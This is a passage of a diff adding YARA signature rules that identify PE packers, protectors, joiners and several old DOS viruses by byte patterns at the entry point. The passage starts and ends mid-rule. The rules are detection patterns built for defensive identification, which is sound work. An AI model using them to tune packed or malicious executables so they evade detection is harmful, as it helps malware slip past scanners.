+			$a0 = { 55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B D8 53 E8 DC EA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 F0 97 00 10 E8 C9 E7 FF FF B8 F0 97 00 10 E8 B7 E7 FF FF 8B CF 8B D6 E8 EE EA FF FF 53 E8 98 EA FF FF 8D 4D EC BA 9C 51 00 10 A1 F0 97 00 10 E8 22 EB FF FF 8B 55 EC B8 F0 97 00 10 E8 89 E6 FF FF B8 F0 97 00 10 E8 7F E7 FF FF E8 6E EC FF FF 33 C0 5A 59 59 64 89 10 68 7F 51 00 10 8D 45 EC E8 11 E6 FF FF C3 E9 FF DF FF FF EB F0 5F 5E 5B E8 0D E5 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 1C 00 00 00 45 4E 54 45 52 20 59 4F 55 52 20 4F 57 4E 20 50 41 53 53 57 4F 52 44 20 48 45 52 45 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CopyControlv303
+	{
+	strings:
+			$a0 = { CC 90 90 EB 0B 01 50 51 52 53 54 61 33 61 2D 35 CA D1 07 52 D1 A1 3C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110Engbartxt
+	{
+	strings:
+			$a0 = { BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Elanguage
+	{
+	strings:
+			$a0 = { E8 06 00 00 00 50 E8 ?? 01 00 00 55 8B EC 81 C4 F0 FE FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXELOCK66615
+	{
+	strings:
+			$a0 = { BA ?? ?? BF ?? ?? EB ?? EA ?? ?? ?? ?? 79 ?? 7F ?? 7E ?? 1C ?? 48 78 ?? E3 ?? 45 14 ?? 5A E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AdysGluev010
+	{
+	strings:
+			$a0 = { 2E 8C 06 ?? ?? 0E 07 33 C0 8E D8 BE ?? ?? BF ?? ?? FC B9 ?? ?? 56 F3 A5 1E 07 5F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SVKProtectorv132
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PKLITEv114v115v1203
+	{
+	strings:
+			$a0 = { B8 ?? ?? BA ?? ?? 05 ?? ?? 3B ?? ?? ?? 72 ?? B4 09 BA ?? 01 CD 21 CD 20 4E 6F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SafeGuardV10Xsimonzh2000
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 EB 29 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 59 9C 81 C1 E2 FF FF FF EB 01 ?? 9D FF E1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEiDBundlev102v103DLLBoBBobSoft
+	{
+	strings:
+			$a0 = { 83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 00 08 00 39 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FreeJoinerSmallbuild023GlOFF
+	{
+	strings:
+			$a0 = { E8 E1 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PrivatePersonalPackerPPP102ConquestOfTroycom
+	{
+	strings:
+			$a0 = { E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9 }
+
+	condition:
+			$a0
+	}
+	rule DIETv102bv110av120
+	{
+	strings:
+			$a0 = { BE ?? ?? BF ?? ?? B9 ?? ?? 3B FC 72 ?? B4 4C CD 21 FD F3 A5 FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXECLiPSElayer
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 D2 EB 01 0F 56 EB 01 0F E8 03 00 00 00 EB 01 0F EB 01 0F 5E EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium1334ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33 }
+	$a1 = { EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 03 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PKLITEv150Devicedrivercompression
+	{
+	strings:
+			$a0 = { B4 09 BA 14 01 CD 21 B8 00 4C CD 21 F8 9C 50 53 51 52 56 57 55 1E 06 BB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxGrazie883
+	{
+	strings:
+			$a0 = { 1E 0E 1F 50 06 BF 70 03 B4 1A BA 70 03 CD 21 B4 47 B2 00 BE 32 04 CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PROTECTEXECOMv60
+	{
+	strings:
+			$a0 = { 1E B4 30 CD 21 3C 02 73 ?? CD 20 BE ?? ?? E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ENIGMAProtectorSukhovVladimir
+	{
+	strings:
+			$a0 = { 45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule CRYPToCRACksPEProtectorV093LukasFleischer
+	{
+	strings:
+			$a0 = { 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv147v150
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 5B 12 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PocketPCMIB
+	{
+	strings:
+			$a0 = { E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv305c4ExtractableVirusShield
+	{
+	strings:
+			$a0 = { 03 05 40 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxNoon1163
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5B 50 56 B4 CB CD 21 3C 07 ?? ?? 81 ?? ?? ?? 2E ?? ?? 4D 5A ?? ?? BF 00 01 89 DE FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PuNkMoD1xPuNkDuDe
+	{
+	strings:
+			$a0 = { 94 B9 ?? ?? 00 00 BC ?? ?? ?? ?? 80 34 0C }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PECrypt32Consolev10v101v102
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule InnoSetupModulev2018
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 73 71 FF FF E8 DA 85 FF FF E8 81 A7 FF FF E8 C8 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Nakedbind10nakedcrew
+	{
+	strings:
+			$a0 = { 64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B 4D 5A 74 08 81 EB 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPacKV31LiuXingPing
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule AntiVirusVaccinev103
+	{
+	strings:
+			$a0 = { FA 33 DB B9 ?? ?? 0E 1F 33 F6 FC AD 35 ?? ?? 03 D8 E2 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxKuku448
+	{
+	strings:
+			$a0 = { AE 75 ED E2 F8 89 3E ?? ?? BA ?? ?? 0E 07 BF ?? ?? EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASProtectv12xNewStrain
+	{
+	strings:
+			$a0 = { 68 01 ?? ?? ?? E8 01 ?? ?? ?? C3 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SimpleUPXCryptorv3042005OnelayerencryptionMANtiCORE
+	{
+	strings:
+			$a0 = { 60 B8 ?? ?? ?? 00 B9 ?? 01 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AntiDote10Demo12SISTeam
+	{
+	strings:
+			$a0 = { 00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule FSGv110EngbartxtWinRARSFX
+	{
+	strings:
+			$a0 = { 80 E9 A1 C1 C1 13 68 E4 16 75 46 C1 C1 05 5E EB 01 9D 68 64 86 37 46 EB 02 8C E0 5F F7 D0 }
+	$a1 = { EB 01 02 EB 02 CD 20 B8 80 ?? 42 00 EB 01 55 BE F4 00 00 00 13 DF 13 D8 0F B6 38 D1 F3 F7 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule BJFntv11b
+	{
+	strings:
+			$a0 = { EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ThinstallEmbedded26202623Jitit
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 58 BB AC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 21 00 00 68 C4 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SLVc0deProtector11xSLVICU
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RJoinerbyVaskaSignfrompinch250320071700
+	{
+	strings:
+			$a0 = { E8 03 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 6C 10 40 00 FF 25 70 10 40 00 FF 25 74 10 40 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AverCryptor10os1r1s
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 75 17 40 00 8B BD 9C 18 40 00 8B 8D A4 18 40 00 B8 BC 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 A0 18 40 00 33 C0 51 33 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 A0 18 40 00 8B 85 A8 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 BC 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 98 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule nSpackV23LiuXingPing
+	{
+	strings:
+			$a0 = { 9C 60 70 61 63 6B 24 40 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule SENDebugProtector
+	{
+	strings:
+			$a0 = { BB ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 29 ?? ?? 4E E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule xPEP03xxIkUg
+	{
+	strings:
+			$a0 = { 55 53 56 51 52 57 E8 16 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AntiDote14SESISTeam
+	{
+	strings:
+			$a0 = { 68 90 03 00 00 E8 C6 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74 4F 68 04 01 00 00 68 10 22 60 00 6A 00 FF 15 08 10 60 00 68 90 03 00 00 E8 68 FD FF FF 68 69 D6 00 00 E8 5E FD FF FF 50 E8 58 FD FF FF 50 E8 52 FD FF FF E8 DD FE FF FF 50 68 A4 10 60 00 68 94 10 60 00 68 10 22 60 00 E8 58 FD FF FF 83 C4 20 33 C0 C2 10 00 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPack30NorthStar
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ORiENV212FisunAV
+	{
+	strings:
+			$a0 = { E9 5D 01 00 00 CE D1 CE CD 0D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPackv23NorthStar
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD }
+	$a1 = { 9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 56 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 54 03 00 00 03 D9 50 53 E8 9D 02 00 00 61 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule ObsidiumV1342ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 C3 27 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SplashBitmapv100WithUnpackCodeBoBBobsoft
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 6A 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule KBySV028shoooo
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ObsidiumV12XObsidiumSoftware
+	{
+	strings:
+			$a0 = { E8 0E 00 00 00 33 C0 8B 54 24 0C 83 82 B8 00 00 00 0D C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPackV13LiuXingPing
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01PENinja131Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidiumv1300ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B }
+	$a1 = { EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B 50 EB 03 8A 0B 93 33 C0 EB 02 28 B9 8B 00 EB 01 04 C3 EB 04 65 B3 54 0A E9 FA 00 00 00 EB 01 A2 E8 D5 FF FF FF EB 02 2B 49 EB 03 7C 3E 76 58 EB 04 B8 94 92 56 EB 01 72 64 67 8F 06 00 00 EB 02 23 72 83 C4 04 EB 02 A9 CB E8 47 26 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule Feokt
+	{
+	strings:
+			$a0 = { 89 25 A8 11 40 00 BF ?? ?? ?? 00 31 C0 B9 ?? ?? ?? 00 29 F9 FC F3 AA ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule NTkrnlSecureSuite01015NTkrnlSoftware
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PEPROTECT09
+	{
+	strings:
+			$a0 = { E9 CF 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXERefactorV01random
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC 90 0B 00 00 53 56 57 E9 58 8C 01 00 55 53 43 41 54 49 4F 4E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CrunchPEv40
+	{
+	strings:
+			$a0 = { EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule NullsoftPIMPInstallSystemv1x
+	{
+	strings:
+			$a0 = { 83 EC 5C 53 55 56 57 FF 15 ?? ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Pohernah100byKas
+	{
+	strings:
+			$a0 = { 58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28 49 EB CE 8B 85 82 25 40 00 89 44 24 1C 61 FF E0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule dUP2diablo2oo2
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75 19 BE ?? ?? ?? ?? 68 00 02 00 00 56 68 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01ASPack2xxHeuristicAnorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule eXpressorv145CGSoftLabs
+	{
+	strings:
+			$a0 = { 55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule hmimysProtectv10
+	{
+	strings:
